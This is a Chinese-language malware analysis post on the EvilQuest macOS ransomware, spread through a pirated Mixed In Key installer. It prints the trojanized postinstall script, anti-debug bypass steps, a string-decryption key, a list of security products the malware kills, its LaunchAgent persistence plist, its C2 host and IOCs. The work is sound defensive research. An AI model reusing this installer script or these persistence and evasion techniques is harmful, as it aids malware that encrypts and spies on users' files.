正文

交钱解密了还远控？新型MacOS勒索EvilQuest正在传播

admin
admin V管理员 /0 评论 /21 阅读
0321
此篇文章发布距今已超过1202天，您需要注意文章的内容或图片是否可用！

 

背景

今天早些时候，著名的恶意软件研究人员Dinesh Devadoss在推特上发布了一篇关于MacOS勒索软件的新推文，表示这是一种冒充Google软件更新程序的新型恶意软件。

MacOS平台的勒索比较少，但在此新型勒索开始出现时，RansomWhere表示他们可以很好的进行检测。所以我也准备分析分析该勒索，并且看看我的工具能够检测该勒索软件。

 

感染载体

从Dinesh的推文中还暂时看不出来该勒索软件是如何感染macOS用户的。但是Malwarebytes的Thomas Reed指出该恶意软件是在流行torrent网站上共享的盗版macOS软件中发现的。

这是一种非常常见但是并不复杂的感染方式，目前有很多恶意软件都是通过这种方式进行传播。macOS恶意软件通过Torrent感染传播的其他示例包括：

OSX.iWorm:

OSX.Shlayer:

Intego研究人员发现OSX / Shlayer通过BitTorrent文件共享站点传播，当用户尝试选择链接来复制torrent磁铁链接时，它显示为伪造的Flash Player更新。

我们今天将要分析的样本打包在流行的DJ软件Mixed In Key(盗版)中，恶意软件未签名：

这意味着该软件在运行前MacOS将会弹框以获得用户的允许：

但是，使用盗版软件的macOS用户可能会忽略此警告并继续运行导致mac被感染。

 

分析

和上面讲的一样，该勒索软件是通过木马安装程序分发的。我们将深入研究的样本是通过名为Mixed In Key 8.dmg（SHA1: 98040c4d358a6fb9fed970df283a9b25f0ab393b）的磁盘映像分发的。

当前，该磁盘映像尚未由VirusTotal上的任何防病毒引擎标记（尽管随着AV引擎更新其签名数据库，这可能会更改

我们可以通过hdiutil挂载该磁盘映像：

$ hdiutil attach ~/Downloads/Mixed In Key 8.dmg 
/dev/disk2            GUID_partition_scheme           
/dev/disk2s1          Apple_APFS                      
/dev/disk3            EF57347C-0000-11AA-AA11-0030654 
/dev/disk3s1          41504653-0000-11AA-AA11-0030654 /Volumes/Mixed In Key 8

挂载的磁盘映像（’/ Volumes / Mixed In Key 8 /‘）包含一个安装程序包Mixed In Key 8.pkg：

$ ls /Volumes/Mixed In Key 8/
Mixed In Key 8.pkg

我最喜欢的用于静态分析软件包（并从中提取文件）的工具是Suspicious Package

在使用Suspicious Package加载恶意软件之后，我们找到了（盗版的）Mixed In Key 8应用程序和名为”patch”的二进制文件：

单击“安装”选项卡后，我们找到安装后脚本：

#!/bin/sh
mkdir /Library/mixednkey

mv /Applications/Utils/patch /Library/mixednkey/toolroomd
rmdir /Application/Utils

chmod +x /Library/mixednkey/toolroomd

/Library/mixednkey/toolroomd &

很明显 ,在创建/Library/mixednkey目录后，程序会将一个二进制文件patch移动到该目录中，将其设置为可执行文件，然后启动它。

当安装程序在安装过程中请求root特权时，此脚本（以及toolroomd二进制文件）也将以root特权运行：

使用Suspicious Package我们可以同时对Mixed In Key 8应用程序和名为patch的二进制文件进行分析。由于Mixed In Key 8二进制文件仍然包含了开发人员的有效签名，因此它很可能是原始的且未经修改：

因此，我们将注意力转向toolroomd二进制文件。

toolroomd（原名为patch）是一个Mach-O格式的64位可执行应用程序。

$ file patch
patch: Mach-O 64-bit executable x86_64

$ codesign -dvv patch 
patch: code object is not signed at all

$ shasum -a1 patch
efbb681a61967e6f5a811f8649ec26efe16f50ae  patch

接下来，我们通过strings命令获取该应用程序的字符串：

$ string - patch

2Uy5DI3hMp7o0cq|T|14vHRz0000013
0ZPKhq0rEeUJ0GhPle1joWN30000033
0rzACG3Wr||n1dHnZL17MbWe0000013

system.privilege.admin

%s --reroot
--silent
--noroot
--ignrp

_generate_xkey

/toidievitceffe/libtpyrc/tpyrc.c
bits <= 1024

_get_process_list
/toidievitceffe/libpersist/persist.c


[return]
[tab]
[del]
[esc]
[right-cmd]
[left-cmd]
[left-shift]
[caps]
[left-option]

从strings输出中，我们找到了一些混淆的字符串、一些命令行参数，加密关键字和与keylogging相关的字符串。

通过nm指令，我们可以转储符号的名称（包括函数名称）：

nm patch
                 U _CGEventGetIntegerValueField
                 U _CGEventTapCreate
                 U _CGEventTapEnable

                 U _NSAddressOfSymbol
                 U _NSCreateObjectFileImageFromMemory
                 U _NSDestroyObjectFileImage
                 U _NSLinkModule
                 U _NSLookupSymbolInModule
                 U _NSUnLinkModule
                 U _NXFindBestFatArch

0000000100002900 T __construct_plist_path
000000010000a7e0 T __dispatch
0000000100009c20 T __ei_init_crc32_tab
000000010000b490 T __ei_rootgainer_elevate
00000001000061c0 T __generate_xkey
000000010000a550 T __get_host_identifier
0000000100007c40 T __get_process_list
00000001000094d0 T __home_stub
000000010000e0c0 T __is_target
000000010000ecb0 T __make_temp_name
0000000100000000 T __mh_execute_header
0000000100004910 T __pack_trailer
000000010000a170 T __react_exec
000000010000a160 T __react_host
000000010000a470 T __react_keys
000000010000a500 T __react_ping
000000010000a300 T __react_save
0000000100009e80 T __react_scmd
000000010000a460 T __react_start
00000001000072d0 T __rotate
00000001000068a0 T __tp_decrypt
0000000100006610 T __tp_encrypt
00000001000049c0 T __unpack_trailer
0000000100002550 T _acquire_root

                 U _connect
00000001000085a0 T _create_rescue_executable
000000010000ba50 T _ei_carver_main
0000000100001590 T _ei_forensic_sendfile
0000000100001680 T _ei_forensic_thread
0000000100005b00 T _ei_get_host_info
0000000100006050 T _ei_get_macaddr
000000010000b9b0 T _ei_loader_main
000000010000c9a0 T _ei_loader_thread
0000000100009650 T _ei_pers_thread
000000010000b880 T _ei_persistence_main
0000000100001c30 T _ei_read_spot
000000010000b580 T _ei_rootgainer_main
0000000100003670 T _ei_run_file
0000000100003790 T _ei_run_memory_hrd
0000000100009550 T _ei_run_thread
0000000100001a10 T _ei_save_spot
000000010000b710 T _ei_selfretain_main

000000010000de60 T _eib_decode
000000010000dd40 T _eib_encode
000000010000dc40 T _eib_pack_c
000000010000e010 T _eib_secure_decode
000000010000dfa0 T _eib_secure_encode
0000000100013660 D _eib_string_fa
0000000100013708 S _eib_string_key
000000010000dcb0 T _eib_unpack_i

0000000100007570 T _eip_decrypt
0000000100007310 T _eip_encrypt
0000000100007130 T _eip_key
00000001000071f0 T _eip_seeds


0000000100007aa0 T _is_debugging
0000000100007bc0 T _is_virtual_mchn

0000000100002dd0 T _lfsc_dirlist
00000001000032c0 T _lfsc_get_contents
000000010000fa50 T _lfsc_match
00000001000033e0 T _lfsc_pack_binary
000000010000f720 T _lfsc_parse_template
0000000100003500 T _lfsc_unpack_binary


0000000100008810 T _persist_executable
0000000100008df0 T _persist_executable_frombundle
                 U _popen
0000000100007c20 T _prevent_trace

拨云雾而见青天，通过nm的输出，我们看到了与以下内容相关的方法和函数名：

1. keylogging相关，如_CGEventTapCreate、_CGEventTapEnable等。
2. 内存代码执行相关，如_NSCreateObjectFileImageFromMemory、_NSLinkModule等。
3. 反调试相关，如_is_debugging、_is_virtual_mchn等。
4. 反检测相关，如__get_host_identifier、__get_process_list等。
5. 本地持久化，如_persist_executable、_persist_executable_frombundle等。
6. 加密，勒索相关，如_eip_encrypt。

这似乎并不是一个”简单的勒索软件”

该对patch程序进行调试了。

toolroomd(patch)二进制文件的核心逻辑发生在其主要功能内。

在检查了各种命令行参数（—silent，—noroot和—ignrp）之后，它执行一个名为is_virtual_mchn的函数，如果返回true则退出：

if(is_virtual_mchn(0x2) != 0x0) {
    exit();
}

让我们仔细分析一下这个函数，因为我们要使其不检测虚拟机中的调试会话：

 int _is_virtual_mchn(int arg0) {
     var_10 = time();
     sleep(argO);
     rax = time();
     rdx = 0x0;
     if (rax - var_10 < arg0) {
             rdx = 0x1;
     }
     rax = rdx;
    return rax;
}

该代码调用time两次，中间插入一个sleep……然后比较两个调用之间的差异是否与time系统睡眠的时间相匹配。通过这种方式就可以判断patch是否运行在沙箱中：

睡眠修补程序沙盒将修补睡眠功能，以试图克服使用时间延迟的恶意软件。作为响应，恶意软件将检查时间是否已加速。恶意软件将获取时间戳，进入睡眠状态，然后在唤醒时再次获取时间戳。时间戳记之间的时间差应与恶意软件被编程为休眠的时间长度相同。如果不是，则该恶意软件会知道它正在修补睡眠功能的环境中运行，这只会在沙箱中发生

这意味着，实际上，该功能更多是沙箱检查，并且可能无法检测到虚拟机。对于我们的调试工作而言，这是个好消息！

接下来，该恶意软件调用了一个名为extract_ei的方法，该方法尝试从自身的尾部读取0x20字节的数据，但是，由于unpack_trailer（由extract_ei调用）函数在对0DEADFACEh检查的时候返回了false。因此该样本中似乎并不存在符合的尾部数据。

;rcx: trailer data
__text:0000000100004A39                 cmp     dword ptr [rcx+8], 0DEADFACEh
__text:0000000100004A40                 mov     [rbp+var_38], rax
__text:0000000100004A44                 jz      leave

在没有找到预定义数据的情况下，该样本跳过了某些持久性逻辑……看起来像是在保留一个守护程序的逻辑：

;rcx: trailer data
 if (extract_ei(*var_10, &var_40) != 0x0) {
     _persist_executable_frombundle(var_48, var_40, var_30, *var_10);
     _install_daemon(var_30, _ei_str("0hC|h71FgtPJ32afft3EzOyU3xFA7q0{LBx..."), 
                     _ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD..."), 0x1);

     var_50 = _ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD1m6d3j0000073");
     var_58 = _ei_str("20HBC332gdTh2WTNhS2CgFnL2WBs2l26jxCi0000013");
     var_60 = _ei_str("1PbP8y2Bxfxk0000013");
    ...
    _run_daemon_u(var_50, var_58, var_60);
    ...
    _run_target(*var_10);
}

程序混淆了我们感兴趣的各种值（例如守护程序的名称/路径）。但是，看起来_ei_str函数负责去模糊处理：

查看它的反编译，我们看到一个名为_eib_string_key的变量的一次性初始化，然后调用名为_eib_secure_decode的函数（它调用了名为_tpdcrypt的方法）：

 int _ei_str(int arg0) {
     var_10 = arg0;
     if (*_eib_string_key == 0x0) {
             *_eib_string_key = _eip_decrypt(_eib_string_fa, 0x6b8b4567);
     }
     var_18 = 0x0;
     rax = strlen();
     rax = _eib_secure_decode(var_10, rax, *_eib_string_key, &var_18);
     var_20 = rax;
    if (var_20 == 0x0) {
            var_8 = var_10;
    }
    else {
            var_8 = var_20;
    }
    rax = var_8;
    return rax;
}

通常，我们不必担心去混淆（或解密）算法的细节，因为我们可以简单地在函数末尾设置调试器断点，并打印出纯文本字符串(通常解密之后的值会存放在eax中)。

但是至少让我们转储解密密钥（_eib_string_key）：

(lldb) x/s $rdx
0x1001004c0: "PPK76!dfa82^g"

由于该样本貌似不包含预定义的数据，因此将跳过此特定代码块……但是，该恶意软件随后调用了一个名为_ei_persistence_main（也可以持久化该恶意软件）的函数。

在执行在持久化之前操作之前，_ei_persistence_main会执行各种反调试操作以防止动态调试。具体来说，它首先调用一个名为is_debugging的函数。is_debugging方法在地址0000000100007AA0处实现。此外，程序还通过CTL_KERN、KERN_PROC、KERN_PROC_PID和getpid（）等函数判断是否在调试环境中。一旦获取到返回，程序将检查P_TRACED 是否被设置，这是一种很常见的反调试检测思路。

如果is_debugging函数返回1（true），则恶意软件将退出：

__text:000000010000B89A                 call    _is_debugging
__text:000000010000B89F                 cmp     eax, 0
__text:000000010000B8A2                 jz      continue
__text:000000010000B8A8                 mov     edi, 1
__text:000000010000B8AD                 call    _exit

想要在调试器中绕过它，我们只需要在0x000000010000B89F处设置断点，然后将RAX寄存器的值更改为0（false）：

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
->  0x10000b89f: cmpl   $0x0, %eax
    0x10000b8a2: je     0x10000b8b2
    0x10000b8a8: movl   $0x1, %edi
    0x10000b8ad: callq  0x10000feb2
Target 0: (patch) stopped.

(lldb) reg read $rax
     rax = 0x0000000000000001
(lldb) reg write $rax 0
(lldb) c

但是！该恶意软件的反调试不止这一处，程序还通过_prevent_trace函数进行反调试检测：

 __text:0000000100007C20 _prevent_trace  proc near   
 __text:0000000100007C20                 push    rbp
 __text:0000000100007C21                 mov     rbp, rsp
 __text:0000000100007C24                 call    _getpid
 __text:0000000100007C29                 xor     ecx, ecx
 __text:0000000100007C2B                 mov     edx, ecx        ; addr
 __text:0000000100007C2D                 xor     ecx, ecx        ; data
 __text:0000000100007C2F                 mov     edi, 1Fh        ; request
 __text:0000000100007C34                 mov     esi, eax        ; pid
__text:0000000100007C36                 call    _ptrace
__text:0000000100007C3B                 pop     rbp
__text:0000000100007C3C                 retn
__text:0000000100007C3C _prevent_trace  endp

要绕过这一点，我们只需避免调用_prevent_trace,我们可以在调用这个函数时设置一个断点，然后修改指令指针（RIP）的值跳过它！

(lldb) b 0x000000010000B8B2
Breakpoint 12: where = patch`patch[0x000000010000b8b2], address = 0x000000010000b8b2
(lldb) c
Process 683 resuming
Process 683 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1

->  0x10000b8b2: callq  0x100007c20
    0x10000b8b7: leaq   0x7de2(%rip), %rdi
    0x10000b8be: movl   $0x8, %esi
    0x10000b8c3: movl   %eax, -0x38(%rbp)
Target 0: (patch) stopped.

(lldb) reg write $rip 0x10000b8b7
(lldb) c

十分简单！现在，我们可以不受干扰地继续进行动态分析。

顾名思义,ei_persistence_main可实现恶意软件的持久化，但是，在进行持久化之前，它会调用一个名为kill_unwanted杀死所有可能检测或阻止恶意行为的知名安全产品的函数。

kill_unwanted函数获取正在运行的进程的列表，将每个进程与“不需要的”程序的加密列表进行比较。使用前面提到的ei_str函数断点，我们可以转储解密的字符串，以确定“不需要的”程序的值：

(lldb) x/s $rax
0x100108fd0: "Little Snitch"

(lldb) x/s $rax
0x100100880: "Kaspersky"

(lldb) x/s $rax
0x1001028a0: "Norton"

(lldb) x/s $rax
0x10010a2f0: "Avast"

(lldb) x/s $rax
0x10010a300: "DrWeb"

(lldb) x/s $rax
0x100102eb0: "Mcaffee"

(lldb) x/s $rax
0x100109d20: "Bitdefender"

(lldb) x/s $rax
0x100109d30: "Bullguard"

我相信有一天，Objective-See的工具会列出这样的清单！哈哈！

最终，ei_persistence_main执行，成功实现恶意软件的本地持久化。我们可以通过文件监视器和/或在调试器中观察到这一点。

首先，我们观察到恶意软件解密了与持久性相关的各种字符串：


(lldb) x/s $rax
0x100118fd0: "/Library/AppQuest/com.apple.questd"

(lldb) x/s $rax
0x1001190f0: "%s/Library/AppQuest/com.apple.questd"

文件监视器（例如macOS的fs_usage）显示了恶意软件向其写入二进制文件~/Library/AppQuest/com.apple.questd，然后创建启动代理属性列表以保留该二进制文件：

# fs_usage -w -f filesystem
open ~/Library/AppQuest/com.apple.questd

...

chmod  ~/Library/AppQuest/com.apple.questd       

...

WrData[A]  ~/Library/LaunchAgents/com.apple.questd.plist

com.apple.questd只是恶意软件的一个副本，我们可以通过com.apple.questd.plist的内容发现一些有趣的东西：

x/s $rax
0x100119540: "<?xml version="1.0" encoding="UTF-8"?>n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">n<plist version="1.0">n<dict>n<key>Label</key>n<string>%s</string>nn<key>ProgramArguments</key>n<array>n<string>%s</string>n<string>--silent</string>n</array>nn<key>RunAtLoad</key>n<true/>nn<key>KeepAlive</key>n<true/>nn</dict>n</plist>"

比如填充com.apple.questd二进制文件的完整路径：

cat /Users/user/Library/LaunchAgents/com.apple.questd.plist 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>questd</string>

<key>ProgramArguments</key>
<array>
<string>/Users/user/Library/AppQuest/com.apple.questd</string>
<string>--silent</string>
</array>

<key>RunAtLoad</key>
<true/>

<key>KeepAlive</key>
<true/>

</dict>

由于RunAtLoad密钥设置为true恶意软件（现在称为com.apple.questd），因此每次用户登录时都会自动重新启动。

当然BlockBlock会检测到这种持久性尝试

一旦确定恶意软件能够持久存在，它似乎就会对其进行复制（复制到~/Library/.9W4S5dtNK，并附带一个预定义数据：

通过流程监视器，我们可以观察到恶意软件，然后通过launchctl submit -l 命令启动此副本：


[procInfo] process start:
pid: 737
path: /bin/launchctl
user: 501
args: (
    launchctl,
    submit,
    "-l",
    questd,
    "-p",
    "/Users/user/Library/.9W4S5dtNK"
)


[procInfo] process start:
pid: 738
path: /Users/user/Library/.9W4S5dtNK
user: 0
...

注意：

该恶意软件也可能会继续存在于/ Library / mixnkey / toolroomd

因此，现在该恶意软件已经持久存在并启动了自身的新配置（即带有“trailer”数据）实例。现在样本可以实现很多功能了：

首先，它将开始加密用户的文件。具体来说，它调用一个名为carve_target的函数，该函数通过eip_encrypt对文件进行加密。文件加密完成后，它将创建一个文本文件，名称READ_ME_NOW为勒索提示我文件：

为确保用户读取此文件，它显示以下模式提示符，并通过macOS内置的“语音”功能大声朗读它：

幸运的是RansomWhere可以检测到该勒索病毒。

该恶意软件还会查找一些有趣的文件，例如

“wallet.pdf”

“wallet.png”

“key.png”

“*.p12”

此外，它还调用一个名为eilfrglk_watch的函数，通过CGEventTapCreate Apple API启动一个键盘记录器。

另外，一个名为dispatch（位于address 0x000000010000A7E0）的函数似乎可以处理来自命令和控制服务器（andrewka6.pythonanywhere.com）的任务。这些任务包括：

1. 执行命令
2. 启动键盘记录器
3. 直接在内存中执行模块

最后，如果满足某些先决条件，恶意软件也可能尝试创建反向shell。

有了这些功能，攻击者就可以完全控制受感染的主机！

 

结论

今天，我们对一个有趣的新恶意软件进行了分析-详细介绍了其持久性和功能。

尽管是新的，但我们的（免费！）工具，例如BlockBlock和RansomWhere能够在没有分析的情况下检测并阻止此类的攻击。

 

IOC

/Library/mixednkey/toolroomd
~/Library/AppQuest/com.apple.questd
~/Library/LaunchAgents/com.apple.questd.plist